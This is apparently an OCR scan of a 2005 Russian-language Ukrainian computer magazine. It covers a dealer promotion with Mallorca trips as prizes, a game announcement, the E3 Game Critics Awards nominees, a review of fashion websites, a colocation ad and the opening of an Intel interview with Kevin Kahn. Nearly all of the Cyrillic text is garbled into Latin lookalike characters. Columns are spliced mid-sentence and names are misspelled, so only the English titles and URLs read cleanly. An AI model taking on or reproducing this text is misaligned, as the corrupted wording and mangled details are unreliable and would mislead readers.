BOCCTAHOBAEHUMIO KAPTPUMKER M NPOM3-
BOACTBA KAYECTBEHHbLIX COBMECTUMbIX KO-
TPUOXEN.

B saknouenne cemunapa Mike Josiah
spyuun B. Kamnnckomy novetrhein «bpun-
AUAHTOBBIM NpW3 AMCTpUbbLIOTOPO —
2005» — Tokum 0Bpa3om aMEPHKAHCKas
komnarus oueHenuna ycrnexu «CHMHT» vo
YKPAUHCKOM pbiHKe OnCTpubbioumn pac-
xoaHbix maTepuanos Summit Technologies.

Ckagano — cgenano

Komnarmsa «Oxun Im bu Yepannay» 06s-
ABMAA PE3YNLTATH OkUMK Ans annepos «Ma-
nopka 2005». BaHHos akuma NPOBOAUNACH
8 nepnoa ¢ mapta no main 2005 rona m
Kacanack TOMLKO Toprosuix mapok Gem-
bird u A4. Cymb akummn cocTosna B Tom, 410
30 NOKyMky TOBAPOB Toprossix mapok Gem-
bird u A4 guneps nonysanu 6annsl. B uto-
re MOXHO GbINO NOMY4UTL HOBOMBHO MPK-
snexkatensHbiii npu3: Habpas 15 000 6on-
nos — nyteeky Ha Maiiopky, 10 000 —
undposyto supeokamepy, 5000 — renesu-
sop, 2500 — DVD-nne#tep.

B akuum npuHanm yyactve sce nopTHe-
pbl komnanui «xu Im bu Ykpauna» u
«ﬂOKO».

B pesynstate nobegurenem crana kom-
nanms Compass, HO6pPaB MAKCMMANLHOE
xonuuyectso Bannoe. Ona nonyuuna ax
ase nyteskn Ha Manopky. o oaxon ny-
TEBKE HO MaopKy TAKXE MOMYYMUIN KOM-
navnu «KMM-Cepeuncr, «MOMs, «Pokcr-
pot», DC Link, «Anrpu».

Harpaxaerue npowno s natHuuy, 10
wioHa, B pectopaHe «Makcumym» 8 Kue-
se. Ha uepemoHnn npucyTcTeoBanm npea-
ctasutenn 6onee yem 25 KOMNOHWA CO
Bcent Ykpaure. Kpome cemu nytesok Ha
Maiiopky B uucne npu3os Ebino BpyyeHo
4 undposeix kamepsl, 12 Tenesn3opos u
13 DVD-nnenepos. MNpeacrasnrenn Gem-
bird 3aBepuan napTHEPOB, Y4TO TaKME Ak-
Lnu ByayT NPOBOAMTLCS U B AANLHERLLEM.

Or scen ayww nosapaensem nobean-

7

[ns yuacTus B pO3bIPLILLE MPU30B CPEAM rOACBLIX NOANUCYMKOB Ha 2-e nonyroane 2005 ropa Bam Heobxoaumo
APMCNAaTh KONWIO AOANMCHON kBuTaHUMM no agpecy: 03126, Kues-126, a/s 570/8 c nometkon «llognucka-
2005. 2-e nonyrogwer. B nucbme oB930TENbHO yKO3LIBAWTE CBOM KOOPAMHATH M KOHTAKTHbIA Tenedon. Cpok
npuema nucem — ac 15 asrycra 2005 ropa (no noutcsomy wremnenio). YHacTeyioT TONLKO YMTATENM,
noanucaswmecs Ha 2-e nonyroaue 2005 ropo Ha «MKy n/unn «MuKs, InekTpoHHbIE NUCLMA C OTCKAHUPOBAHHbIMM
QMTOHL(MMM K posbirpeiwly He gonyckaotes. Xenaem yaaun!

TENEeN U BCEX Y4ACTHUKOB aKumul

=/
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fozany, Cmpyaukue, Mykbshenko, Jopuy

CTpOHHOBATLIA 3Aronosok, He Tak nue
M KOMNAHWS pA3HOLIEPCTHEN. ..

Crunu y BHILLEYKA3AHHBIX MUCATENEN
PA3HbIE, HO POAHUT UX NIHOBL CO CTOPO-
Hbl OTEYECTBEHHOTO reimaesa. Ha 3tor
pa3 NOA BUPTYANbHbLIA NpuULIEN CHOBA NO-
nanu 6pates Crpyraukue: nocne «TpyaHo
Buimb Gorom» u «Otens "Y normbluero ans-
MMHUCTA” » AHOHCHMPYETCS elwe OauH Npo-
€KT — N0 MOTUBAM NpowusseaeHns «O6u-
TAEMbIM OCTPOBY.

Kak Hu cTpaHHO, poMaH, B nepenoxe-
HWUK HO TEAM-BUPTYCBLROCTL, OKA3ANCA OA-
BEHYYPOM, XOTH MO CTWD TAHYN CKopee
HO GUNOCODCKMIA IKLIEH, ECTM NOAOOHbIE
onpeaeneHns BOOBLULE MPUMEHUMBI K TBOP-
yectey Crpyraukux.

Cioxet nepeckassisats He Byay, ubo
MHOTME MEPEYNTANH KHUTY NO HECKONb-
Ky pas. [loTomy npoeosrmawa ycra-
M1 pa3paboTunkos, 4To rpaduka Gynert
¢oTopeanuctuaHon, mup «OcTposar
nogenutca Ha 10 urpossix 30H ¢ Bonee
YEeM COTHEM YHMKQNbHbIX nokauui. 3D-
3BYK, YBNEKATENbHBIE 3GAQ4YM U AUANO-
TM “3 NOBECTH nNpunaraTcs. Bpems no-
cagkn Ha «Octpos» — 2006 roa. Mu-
notupyet Step Creative Group, kOmaH-
ayet «Akennoy.

Game Critics Awards Ha3nisagm ceaux

Game Critics Awards best of E3l Tpu-
AUOTb TPW M3LAHWA OENEeripoBaNM B XIOpH
NYHLLINX XYPHANHUCTOB, CaMble QABTOPUTETHbIE
TEMXYPbl-GPUNAHCEPS NMPUCOEAMHUIUCE K
obluemy ronoCoOBaHHIO.

Jywwas wrpa/ npopykT evictaekn — Spore
(Maxis/EA, PC)

v FEAR. (Monolith Productions/VU
Games, PC)

v Gears of War (Epic Games/Microsoft,
Xbox 360)

¥ The Legend of Zelda: Twilight Princess
(Nintendo, GameCube)

JNyswas opwruHanshas urpa — Spore
(Maxis/EA, PC)

¥ Indigo Prophecy (Quantic Dream/ Atari,
PC, PS2, Xb)

¥ Nintendogs {Nintendo, Nintendo DS)

v Okami (Clover Studios/Capcom, Play
Station 2}

v Shadow of the Colossus (SCEI/SCEA,
PlayStation 2)

Nyuwee urpoeoe yctporicteo — PlaySta-
tion 3 (SCE/Nvidia/IBM)

v Game Boy Micro [Nintendo)

v Gizmondo (Tiger Telematics)

v Xbox 360 (Microsoft)

Jlyswas wurpa pns koHconen — Zelda:
Twilight Princess (Nintendo, GCj

v Black (Criterion Games/Electronic Arts,
PS2, Xbox)

v Gears of War [Epic Games/Microsoft,
Xbox 360)

v Okami (Clover Studios/Capcom, Play
Station 2)

¥ Shadow of the Colossus (SCEI/SCEA,
PlayStation 2)

JNyuwas urpa ana PC — Spore (Maxis/EA)

v Age of Empires lll {Ensemble Stu-
dios/Microsoft)

MO KOMTbIOTEP

v Batilefield 2 (Digital lllusions/Electron-
ic Arts)

v FEAR. (Monolith Productions/Vivendi
Universal Games)

v Prey (Human
Realms/2K Games)

Jlyswos urpa gns MopTaTMBHeIX nnaT-
¢opm — Nintendogs (Nintendo, DS)

v Burnout Legends (Criterion Games/
Electronic Ars, PSP)

v Infected (Planet Moon Studios/Majesco
Games, PSP}

¥ Mario Kart DS {Nintendo, Nintendo DS)

v SOCOM: US. Navy SEALs Fireteam
Bravo (Zipper/SCEA, PSP)

Nyvwas sxwen-urpa — FE.AR. (Mono-
lith/VU Games, PC)

v’ Battlefield 2 (Digital lllusions/Electron-
ic Arts, PC)

v Black (Criterion Games/Elecironic Arts,
PS2, Xbox)

v Call of Duty 2 (Infinity Ward/Activision,
PC, Xbox 360)

v’ Gears of War (Epic Games/Microsoft,
Xbox 360)

Head Studios/3D

Jlyuwas 3kweH-npuknoueH1ecKkas urpa —

Zelda: Twilight Princess {Nintendo, GC)

v Okami
PlayStation 2)

¥ Peter Jackson’s King Kong (UbiSoft, sce
nnatdopmsl)

v Shadow of the Colossus (SCEI/SCEA,
PlayStation 2)

v Ultimate Spider-Man (Treyarch/Activi-
sion N G&CRBS29Xb)

TNyuwwuit damruHr — Soul Calibur Il (Nam-
co, PlayStation 2)

¥ Marvel Nemesis: Rise of the Imperfects
(Nihilistic/EA, GC/PS2/Xbox/PSP)

v Mortal Kombat: Shaolin Monks (Para-
dox/Midway Games, PS2, Xbox)

v The Con (Think and Feel/Sony, PSP)

Nyywoas ponesas urpa — TES IV: Obliv-
ion (Bethesda, PC, Xb340)

v’ City of Villains (Cryptic Studios/NC Soft,
k@)

v’ Dragon Quest 8: Journey of the Cursed
King {Level 5/Square Enix, PS2)

v Hellgate: London (Flagship Studios/
Namco, PC)

¥ Kingdom Hearts Il (Square Enix, PS2)

Jlyuwas ronounas urpa — Burnout Re-
venge (Criterion/EA, PS2, Xb)

v Burnout Legends (Criterion Games/ EA,
ESR)

v Full Auto {Pseudo Interadtive/Sega, Xbox
360)

v Mario Kart DS (Nintendo, Nintendo DS}

¥ Need for Speed Most Wanted (EA, sce
naatTGopmi)

TNyuwwit eumynstop — Spore {Maxis/EA, PC)

v Nintendogs (Nintendo, Nintendo DS)

(Clover Studios/Capcom,

v Sims 2 (Electronic Arts, sce koHconm)

v The Movies (Lionhead Studios/Activi-
sion, PC}

v Trauma Center: Under the Knife (Atlus
Co., DS}

Nyuwas cnoptueras urpa — Madden
NFL 06 (EA, sce nnatdopms)

v Blitz: The League (Midway, PS2, Xbox}

v Tony Hawk’'s American Wasteland
(Neversoft/Activision, sce nnatdopmbi)

v Top Spin 2 (2K Sports, Xbox 360}

¥ Virtua Tennis: World Tour (Sega, PSP)

Nyuwas crpaternyeckas urpa — Com-
pany of Heroes (Relic/THQ, PC)

v Age of Empires Il (Ensemble Stu-
dios/Microsoft, PC}

¥ Civilization IV (Firaxis Games/2K Games,
R@)

v Rise of Nations: Rise of Legends (Big
Huge Games/Microsoft, PC)

v’ Star Wars Empire At War (Petroglyph
Games/LucasArts, PC)

JNyuwwi nasan/wmrpa ans BevepuHoK —
We Love Katamari (Namco, PS2)

v EyeToy: Kinetic (SCEE London Stu-
dio/SCEA, PS2)

v Mario Party 7 {Hudson/Nintendo,
GameCube)

v Meteos (Q Entertainment/Nintendo,
Nintendo DS)

¥ Yoot Saito’'s Odama (Vivarium/Nin-
tendo, GameCube)

Jyuwas mHoronons3osartensekas urpa —
Battlefield 2 [DICE/EA, PC)

v Auto Assault (NetDevil/NCSoft, PC)

v City of Villains (Cryptic Studios/NCsoff,
R@)

v SOCOM 3: U.S. NAVY SEALs (Zipper
Interactive/SCEA, PS2)

v’ Star Wars Battlefront Il (Pandemic/ Lu-
casArts, PC, PS2, Xbox)

Y10 X, BCE COMHEHMA B KOHKYDEHTOCNO-
cobHOCTU Spore OKOHYATENBHO PA3BEANUCE.

Hac nedcteurensHo xaet senvkas urpa.

Bpsaa nu kTo-TO comHeBancs u B nobeae
FEAR, Battlefield 2 u TES IV- Oblivion B

CBOUX HOMMHOUKUAX.

A BOT MAaBHaA CceHCaund — B HOMMHAL KUK
«Iy§Was cTparteriieckas urpax. [locmortpu-
T€ CMMCOK HOMMHAHTOB... Bol npencrasnsete
cebe urpy, KOTOpas MOXET OBOWTM OfHO-
spemento Age of Empires Ill, Civilization IV,
Rise of Nations: Rise of Legends, Star Wars
Empire At Ware!

M 370 Npu TOM, 4TO TEMO UrPbl — 30CKO-
pY3nas W NepeLITamnoBanHas Bropas mu-
posas! OTcroaa BHBOA: BCE HEBLINONHUMBIE,
KQ30noCh, 06EWaHHa Pa3paboTIMKOB NOL-
TBepxaaioTca. Mms cemy uyay — Company
of Heroes. BoT Tonbko cloxer HEOAHO3HAY-
HO HOMEKQET: ONATb NPpUAETCa CNACATh PA-
posoro Panaxa.




Mogubill Hmephem

Hagexpa LUAOHARA

Web-cepgiun

Euje net gecsate Hasapg MHCbD,DMaLlMlO 0 HOBWHK3x MOfb! MOXHO 6bI10 No4HepriHyTb 13 MOLOHbLIX XYPHANO0B.
ﬂOCTEJTb ux B TO BpeMA ObIno He TaKk-To fIPOCTO, @ cHacTnBbie x obnagartensHuybl Beinn ropgel! yxxe camuim
d)aKTOM obnanaHns 3Tnmun YynecHbIM CTPaHULaMY C KDACUBLIMU XXEeHLUNHaMN U HE MEHEE KpacvBon 0QexX[oun.
Cenvac Bce crano ropasfo npouwje — MisgHUeBsIe XypHans! OOCTYNHb!I BCEM XenaruwiMm, a Kpome HUX eCTb
no6ansHasn CeTb, KOTOpas npefnaraetT MoagHryam rpakTn4eck BCce 410 yrogHo. W3BecTHblE Aun3anHeps! Ha
CTPaHWLax CBOWX CaNTOB PACCKaXyT v MOKaXyT, Y4TO HbIHYE B MOAE, CTUANCTLI MOCOBETYIOT, 4T0 U1 KaK HOCUTb,
a mogenu noBefaroT 0 3aKynuCHbIX NCTOPUAX 13 Mipa MoLbl.

OCCHMICKUIA MOHBIM NOopTan meda.ru Npeanaraer Haubonee

NETANbHbIA KATANOT MOAHLIX PECYPCOB, B KOTOPLIA BKITIOYE-

Hbl COMTHI MOZHBIX GreHTCTB, CTUNMCTOB 1 gomos moa. Cao-

MbIM MHTEPECHLIM PA3AENOM COWTA ABNAETCA OHNQWHOBASR
SHUMKIIOMEAMA MObI, B KOTOPOH NPWBEAEHH TEPMMHBI M3 MMPQ
MOfbI C OETANBHBIM PA3LACHEHWUEM, G MHOTAA W C doTorpadms-
mu. [Mpu CO30AHMKM IHLMKNONEAMM BbiNk MCMONL30BAHE MATE-
prankt U3BECTHBIX M3AAHMA, B TOM YUACAE MOABUBLUWMXCA HA CBET
80 @panumm u Bennkobpurarun. A B bopyme cainta moxHo 06-
CyAuTb GKTYQfibHBIE BONPOCH mMOAbl {prc. 1).
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Camble akTyanbHbIE HOBOCTM POCCHMIACKON Mokl NpeacTasne-
Hbl HO CORTE www.fashionews.ru. DTO OHNAMHOBLIM XypPHAN O Mo-
A€ W CTWAE, KOTOPLIR MPEANAraeT CBOWM NOCETUTENAM COOPHUK
craten, noceswerHbix moae. Ecte Takxe dotoranepes ¢ dorto-
rpaduamn Moaeneil Oaexasl C NOCAEAHWUX EBPONENCKMX M ame-
pukaHCkux noka3os. Ha Beryiued cTpoke, pasmeeHHon Ha ras-
HO% CTpOHMLE CaWTa, MOXHO YBUAETb GOTOrPAdUM M3BECTHBIX
mopenen. B paiipxecrte xypHana nocetmurent NpoutyT o cobb-
TUAX 1 HOBMHKAX B MUDE MOAbLI, Y3HAKT O 3HAMEHUTOCTAX U NO-
3HAKOMATCA C MOOHLIMU TEHASHUMAMMK,

He 3a6binm cosnareny npeactasnts MHGOPMOLMIO O Pa3nny-
HbIX DACAPOACGXAX U CKUOKAX. Poanen «uonfivyry npencraesndaer
cobon cBOeOBPA3HLIN NYTEBOAMTENL NO MArA3MHAM. 30ECh MOX-
HO MPOYECTb O HanboNee N3BECTHLIX MAra3MHAX, O TAKXE O Tex,
KOTOPLIE TONLKO YTO OTKPLIIMCH. [1pPOUMTAB 3TH CTATLKM, MOXHO
ySHQTb, YTO, rAe, a rMasHoe — noyem npoaaertcs. Pasgen «as-
Byka MOOB M CTUAS» NPEanaraeT CTaTeu O CTUNE W umuaxe, A
l'IpO(i)eCCMOHOﬂbeIe CTUAUCTH B CBOWX CTATbAX ONAKOT JEefNbHble
coBeTbl No noabopy ykpawernuin, OTaensHbIM PA3NEN «MYyXCKOW
rapaepob» NO3BONNUT NPEACTABUTENSIM CHUBHOMR NOMOBUHLI HENO-
BEYECTBA, ECNY BAPYT OHW 30BPeayT Ha CaiT, NOYYBCTBOBATL Ce-
65 30eCb HE NULLHUMM.

30HMUMATENBHBIA PA3AEN «UCTOPUSA MOALI» HE TOMBKO MO3HA-
KOMHUT CO CTAPOMOJHbIMK BEWAMK, O K HE €AWMHOXAbl Bbi3OBET
yneibKy: rsas8 CeRYac HA 3TU MOAENM, CIIOXHO MOBEPHTL, YTO
OHW HE TAK OAAQBHO CHUTANUCE MOOHbLIMUA.

Cetesort xypHan Intermoda.ru HQO NEPBOW CTPAHUUE NPeAna-
rAET MOAHBIE HOBOCTU M HOBOCTM M3 MUPA 3HOMEHUTOCTENR. 3AECh

MMEETCS ORMH M3 NyuluuX KaTanoros mogHoro Muteprera. Crm-
COK COﬂerHT CCbINKKM HO CANTbI MOOHbIX XypHOJ‘lOB, BeﬂyUJ,MX aun-
3aiHepos 1 Ton-moaenein. Craten, pasmelieHHble B XypHane,
KQCAKTCA BCEX BMAOB OAEXAbl, MMEHHO TAK OHW CrPynnMpPoBa-
Hbl B TEMATUYECKOM KATANOre CanTd. 3Aech MOXHO NPOYecTs O
3UMHEN W NEeTHEN opexne, CBanebHON MOAE, MONONEXHOM CTH-
ne (puc. 2).
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BLiTe MOAHEIM BO BCE BpEMEHO 03HA4ANO BbiTs kpackesim. [No-
aToMy 0COB0€ BHUMOHME B CTATHAX YOENEHO KPACOTE U 300P0-
BbIO, M TOMY, KAK WX JOCTU4bL. [loceTuTensm cauta npeanaraert-
€ MHTEPECHBIN CEPBMC NOA HO3BAHWEM «BMPTYANbHLIA rapae-
pob», KOTOPLIN NO3BOARET COXPAHUTL HOMBONEE NOHPABMBLLKE-
€S MOAENY Ha CBOEN CTpaHuyke. [locTyneH oH TONBKO 3apPEerucT-
PUPOBAHHBIM MOML3OBATENAM CANTA. 3AMETKU MPAKTUKYIOWETNO
CTUAKCTA — EULE OAUH MHTEPECHLIM PA3AES, NOCBALLEHHBIA BKY-
Cy M CTUNIO, CTEpeoTUNam v WabnoHam, APecc-koay U BEYEPHUM
Hapsaom. Ha dopymax caita naer scectopoHHee obcyxaeHue
MORHbBIX HOBMHOK, CTUMS W ACXE MOLHOW NUTEPATYPLI 1 GHUNLMOB.

Ewe oamMH MoaHbIM nopTan nog Ha3BaHMem « MoaHbIM MOHK-
TOp» (www.fashion-monitor.com) CNEANT 30 NOCNEAHUMM KOMNEKLMA-
MM BEQYLWIMX MUDOBLIX AM3AHEpOB. [loceTutenu CaiTa MOryT Bbi-
6paTts cesoHn u npocmoTtpeTs dotorpaduu ¢ nokasa. Ecte uu-
dopmaumns 0 ToM, B Kaknx BYTMKAX CTPOHbBI MOXHO BCE 3TO Ky-
nuTh. Ha cante pasmeiersl CTaTbu, NOCBAWEHHBIE MOLHbIM TEH-
AeHUuam nocsneaHero ce3oHa. CoBeTs CNEUMANUCTOR NO MOAE —
BM3OXUCTA, KOCMETONONA, CTUAKMCTA — NPEACTABNEHLI 8 pasae-
ne «aunemma». Moaa u CTunb — 3TO ORHO U To xe unn Hete Kro
TAKOW «CTUMbHLIA Yenosek»¢ OTBETH HA 3TW M MHOTME Apyrve
BOMNPOCH MOXHO HOMTW B PO3OENE KCTUMbY.

ExenHesnbit MntepHeT-xypHan o moae Fashion Guide (www.fg.ru)
NPEANAraeT Cambie CBEXME HOBOCTH, GOTOPENOPTAXM U BMAEOPO-
mmkn. CeroaHs HQ caiTe Pa3MELUEHb MOAENH KOMMEKLMU «BECHO-
neto 2005». DTOT CANT MALANBHO NOAXOAUT OSIA TEX, KTO CTPEMUT-
cs 0BOCHOBAHHO BHIGPATL CBOM CTMRb Ha Byaywee neto, CPaBHUB
CBOW BKYC W BLIGOP C HANPUBNEHWAMU, KOTOPbIM OTAGIKOT NPERNoy-
TEHUE AM3OMHEPH C MUPOBLIM MMEHEM.

B cneunansHom pasaene coiTta pasmelleHa wHGopmauma o
HOBBIX MATQ3MHAX U O KORNEKLMAX, KOTOPLIE NPEACTABNEHSI B MA-
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rasmHox MockBbl. Ecnu Bbl uWETE 4TO-TO KOHKPETHOE, TO KPO-  HO XE, 3A6CH MOXHO HOMTW KONAEKUMM, QBTOPOM KOTOPLIX SBNS-
Me NeTaNbHOTO KOTONOMa MAra3sMHOB MOXHO BOCNONL3OBATLCA — ETCA rOCNOXA [pech — KaTanor KOANEKUMA COAEPXKHT MATEPHA-
TemaTtMueckum katanorom. B paspene craten nocetutensm nped- bl HaumHas ¢ 1999 ropa. Buktopus lpecs, kpome cospanms
NArgIOTCR KAK QHANMTUYECKME MATEPHMANE!, MOCBAWEHHHIE MOP-  MOAENEN OAEXAb, 3AHUMAETCS AM3AWHOM MHTEPbepos. Ha can-
KETUHIOBLIM MCCIEAOBAHMAM DbIHKQ OfEXabl, TOK 1 Bonee npak-  Te npeactasneHs ee paboTte 1 B 3TOM HanpasneHuu. [Nocmor-
TUYECKME, O MHOTAA 1 BONee aKTYQsbHEIE MOTEPUANE — HANPW-  PEB HA HUX, Bbl yHeanTecs, 410 cTunb oT Buktopuu pecs — 3to
mep, penoptax ¢ [apuxckon HeAenn BLICOKOW moabl. ECTe cTa-  HeuTo aencTBuTEnsHO HenosTopumoe. Bocnonssosaswucs BUp-
TbM, NOCBAWEHHLIE MOJE HO MODWILHLIE OKCECCYaph), HDOPMAO-  TyYQNbHLIM TYPOM, MOXHO NPORTUCE MO TEM MHTEPLEPAM, AN3ANH
UMA O NOHAOHCKMX LUKONAX AN MOAENLEPOB. KOTOPbIX Aenana mactep. He meHee yHUKONbHLIE BEwm Npeg-

Coit «Mopa oT mnogo.ru», PO3MEWEHHBIH HO www.sarafan.ru,  CTABREHs! M 8 HyTrke BukTopuu [peck. ITO 1 BuxyTepus, u oge-
NPEeANArgeT He TOMbKO MHBOPMALMIO O HOBMHKAX M TEHAEHUMAX  XA4, n cymouku. Bao a1y kpacoty Takke MOXHO yBUaET B crie-
moabl. Ha nepeoil cTpaHuue CanTa NOCETUTENM BUOSAT CCHINKM HA  LWAABHOM PA3AENe COWTA AM3anrepa.
pa3nensl, NoCeALEHHIE moae ce30Ha «secHa-neto 2005». Oco- Cait ussectHoro ykpamHckoro ausanHepa Junum Mycrosur
6enno wntepeceH paspen «secHa-neto 2005: 10 ocHOBHIX BE-  www.poustovit.ua BHNONHEH HA GHITIMACKOM f3blke. 30€Ck Npea-
wei». Pasnensl CaATa OXBATHIBAKOT BCE HAMPABNEHWA MOALI, 3AECH  CTABAEHBI CHUMKK C NOKA308 Moabl B Mockee n Knese, HaunHas
NPEnCTaBNEHsl YIIMYHAS MOAQ, MOAHLIE MaPKK, OBaHrapg, v aaxe ¢ 1999 roga. B ceoem oHNaiHOBOM NPEACTOBUTENLCTBE AN3AN-
an3ciH Tena. CneumanbHbie NoAPA3AENt) NOCBAWEHE MOMOAEX-  HEP PA3MECTMNA B OCHOBHOM OGUUMANLHYIO MHGOPMALMIO,
HbIM MOPKOM Ofexasl. B pasnene «TaiHbl 0nexab» Bel MOXETE y3-  UMEHHO CBOK TBOPYECKYIO BUOrpadmio n nHpopMaLmio o Top-
HOTb HEYTO HOBOE O cebe M CBOMX NPUCTPACTUAX — «OAEXAA M roBon mapke ausanHepa «Nota Benex (puc. 4).
durypar, «opexaa v xapakreps. [oceturensHuubl canta moryt
NOYHACTBOBATL B KOHKYPCE CMOAHSIA MPUKMAY, MPUCAAB CBOKD O~ [ s #enc £ © o Orais o i VR
TOrpaduio B MOAHOM 1 CTUNLHOK opexae. [lobeantenein oxuaa-
10T cknakn B MIHTEPHET-MAra3nHax mnogo.ru.

Dns Tex, k1o NoBUT CO300BATE MOAY COMOCTOATENLHO, NPEA-
HO3HOYEH NOPTan www.osinka.ru. 34ect Toxe eCTb doTopenop-
TAX# C MOAHbLIX MOKA30B. HO OCHOBHOE, 4em cauT npuBnekaet
NOCETUTENBHUL — 3TO YyAECHOS KOMNEKUMS MOAENEeH, KOTopbie
MOXHO CO38ATb COMOCTOATENBHO. 34eCk COBPAHA NOABOPKA OH-
NAMH-BEPCHIA M3BECTHBIX MOAMbLIX 3aaHuin — Burda, Diona Mod-
en, «Cabpunras, «Mpar». Kpome 3toro, na Ocurke pabotaer
OHAQMHOBAA WKONA WuTeLA (puc. 3).
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HosocTh canta ApPYroro W3BeCTHOTO YKPAMHCKOTO AU3AHHE-
pa Muxanna BopoHuHa voronin.ua MHGOPMUPYIOT NoceTuTenei
0 nocnegHux cobeituax noma mogenen Bopowuna. dusainep
npeanaraeT NoNL30BATENAM CPA3Y HECKONLKO HANPABNEHWN, Cpe-
am Hux — «Boponun akckmosme», «Bopowun knaccuk», «Bopo-
HUH cnopT» u «Boporun xenawne». Kaxpas ctpanuuka odopm-
NEHO COOTBETCTBYIOLIMM NOTOTUNOM U PACCKA3LIBAET O KOHKPET-
HOM HanpaeneHun. B ranepee canta npeacTaBneHsl KoONMekUmum
mogensepa ¢ 2001 roga.

Ha cante pasmewed CnnCOK MArasMHOB TOProBOWM MOpPKM
«Muxann BopoHuH», a B po3gene «ueHsi» MOXHO y3HOTb, CKOMNb-
KO CTOWUT uzpenue ot BopoHnuHa.

O 1om, 4T0 mopa npuwna 8 Mnteprer u ycnewHo ocsouna Cambin uHTepecHsin pasaen canta — «a3byka kocTmomar. B
fno6anbHyw CeTb, FOBOPUT HE TOMBKO OFPOMHOE KOMUYECTBO  HEM NPEACTABNEHd YHUKANbHAA MHPOPMALIMA O CTUAE MYXCKOM
MOfIHbIX MOPTANOB 1 OHNAWHOBLIX XypHanos moa. CywectsyloT  penosol opexas. Pasgen «aeknapaumns nOpAnKka» PACCKA3bLIBA-
B CeTn u canTul monensepos, Hanpumep, cait BanentuHa KOpow-  eT o Tom, 4To o3HauaeT «BuiT CTUnbHbIMY. Paapens: «akceccya-
KMHA (www.yudashkin.com) 1 Qomos moa (www.gaimattiolo.ru, www.  pbi», <NQBTOY, KCOPOUKMY IHAKOMAT NOCETUTENER C NPOBUNCGMM
lidiasoselia.ru, www.favore.biz, www.stoff.ru, www.vemina.ru}, CQiThl, NO-  XOPOLUETO TOHA B ONEXAE M PACCKA3LIBAKOT O BUAGX PA3AUYHBIX
CBAWEHHLE ONPEeneneHHon onexne, HANPUMEpP, OXMHCOM  NPEOAMETOB MyXCKoro Tyanera. Hanpumep, ons mews 6o oT-
(www.jeans-expo.ru}, ectb noptane ceapnebHOM moasl (www.wedding- KPbITUEM, YTO CYLLECTBYET CEMb BUAOB MYXCKOrO NanbTo. TaK xe
show.ru, www.zhelengowsky.ru, www.assol-salon.ru) 1 naxe caiTyl, CO3-  AETANBLHO AM3AMHEP PACCKA3LIBAET O FANCTYKAX M LWERHLIX NAGT-
AGHHLIE ANA CMEUMONbHBIX COBBITUA 8 MUpe moabl, Hanpumep, kax. O TOm, KkUe BbIBAIOT KOCTIOMbI M C KAKUMM AOMONHEHMS-
ANA Henenum BLICOKOM mofpl B Mockee (www.fashionweek.ru, rfw.ru), MK UX NPABUABHO HOCUTL, POCCKA3LIBAETCA B pa3fene «CTUnb B
CaWThl, NOCBALLEHHLIE BLICTABKOM (www.moda-expo.ru), BEYEpHEN KOCTIOME».
mone (www.katrin.ru), becTusanet Moab! (www.
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moda.odessa.net]. A no appecy peoples.ru/art/

fashion pasmeileHa nHpopmaums 06 maeect- COLOCATION (KO.H OKEﬂIﬂH)

HODX IMAHOCTAX, CBASQHHSI C MAPOM MORE! — | PasmelieHne Balmx cailToB Ha OTAeNbLHOM cepeepe
MOOenbepax, AM3ARHEPaX, MOAENSX. Y

A ¢ canTamn yKpauHckux NpodeccMoHa- m,,nm%#;
noe B wae MOAObI Mbl pewnnn NO3HAKOMUTL
BacC nobnuxe.

OwHnaiHoBOE NPEACTOBUTENLCTBO AM3ANA-
Hepa Buktopun lpecs pasmewero no agpe-
cy victoriagres.com. Cant QOCTynEH B pycckos-
3bIYHON WM OHIMOAZLIMHOW BEPCHK. 30ECh MOX-
HO Y3HQTb O COBLITUAX B MMPE MOMI, B KOTO-

HeorpaHn4eHHbIA YKPanHCKAA 1
HeonnayneaeMbli 3apybexHbin Tpaduk.

KpyrnocytoyHas Texnoadepxxa (044) 461 79 88
320 rpuBeH B MecaLl,. www.colocall.net

PbiX NPUHUMANA yHacTue ausanHep. W koneu-
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wlntel nauenexa bbimb BECOMbIM U2PoKOM poikka WiMANy

Cepren H. MNLLIKO

maestro@mycomputer.ua

Ha npowepwem 1 uoHa BTopom knesckom gopyme Intel ana paspabotyankos [cm. ctateio Cepres H.
MIWLLIKO «Btopown kunesckuiy, MK, Ne24 (351)] asTopy matepuana Hapagy C XypHanuctamu Apyrix
“3[aHuy yaanock HENOCPEACTBEHHO NMOoBLATLCH C 08HUM U3 KtoYeBbix goknagqukos Ha IDF (Intel De-
veloper Forum). VIm okasancs goktop Kesur KaH (Kevin Kahn), o6nagatens novetHoro 3saHus Intel Se-
nior Fellow, aupextop Communications Technology Laboratory 8 coctase nogpasaeneHns Corporate Tech-

nology Group komnaxuu Intel.
OMMYHMKALUMOHHAS nabopaTtopus, koTopyo Bosrnaenaer Ke-
BuH KaH, sBnAeTcs 0gHOM M3 LEHTPANLHLIX OPraHvaaumi 8 In-
tel, sanumarowencs nccnenosaHuamin u paspabotkamu (R&D —
Research and Development). Ee obuce pazbpocars He Tons-
ko no Tepputopun CoeanHerneix LLtatos, Ho 1 goneko 3a wx npe-
aenamn — 8 Cavkr-Terepbypre 8 Poccum, Mekune, Ceyne v apy-
rTMx MeHee U3BECTHbIX HACEeNEHHbIX NyHKTaX.

MNpexae Yem OTBETUTL HA BONPOCH COBPABLUMXCA KYPHONUCTOB,
Kesun KaH akUEHTUPOBAN MX BHUMAHWE HQ HEAUBHWX M3MEHEHMSX
npowsoweawnx B noautuke u crpyktype Intel. C HeaasHux nop
ANeATENBHOCTb KOMMNAHWK HANPABAEHA HA NOUCK pel.l_leHMﬁ ana nnar-
bOpm NSTM PA3HOBUAHOCTEN:

v Uudposoro goma

v Undposoro oduca

v Mo6unsHbix ycTpoiicTs

v Pa3BuBAIOWMXCA PbIHKOB

v Undposoro 3apaBooxpaHeHms

Corpyarukn nabopatopui s Intel crapaotes He nposoauTs nc-
CNeNOBOHWIA PAAK UCCNEAOBAHWUA — BO BCEM AOMKEH MPOCMATPH-
BATLCA NPAKTMueckuin acnekT, 3ametvun Keesnn Kan. Komnanusa ak-
TMBHO BOS3IMABNAET ABMKEHWE, HAMPABNEHHOE HQ CTAHAOPTU3A-

UMIO, — CO3AAET OTPACNEBLIE CTAHAAPTL, NPOABMIQET PANNYHLIE
Hosoeseaenua. Hecmotpa Ha 1o, uto Intel cuutaerca amepukar-
ckoi komnaHuedn, dunocodus ee paspaboTok OTPAXAET TAKXe
ApYrMe KynbTypbl. DTOM LEnM CyxaT ueHTps paspabotku Intel,
pacnonoxenHsie Gonee uem 8 70 ctparax no scemy mupy. B Te-
KylLiem rofy Ha cdepy R&D komnaHks nnanupyet notparits S5 mnpa.

